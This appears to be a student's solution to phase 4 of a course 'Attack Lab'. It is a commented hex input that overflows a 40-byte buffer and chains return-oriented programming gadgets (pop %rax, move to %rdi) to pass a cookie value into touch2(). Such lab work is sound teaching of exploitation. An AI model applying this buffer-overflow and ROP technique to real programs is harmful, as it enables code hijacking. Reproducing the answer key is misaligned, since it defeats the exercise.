Attack Lab Phase 4

Attack Lab Phase 4

Buffer input:

/* fill the buffer for the first 40 bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* end of buffer */
d5 18 40 00 00 00 00 00 /* gadget 1: popq %rax */
6b 79 4f 5a 00 00 00 00 /* value of the cookie */
e7 18 40 00 00 00 00 00 /* gadget 2: move %rax to %rdi */
68 17 40 00 00 00 00 00 /* address of touch2() */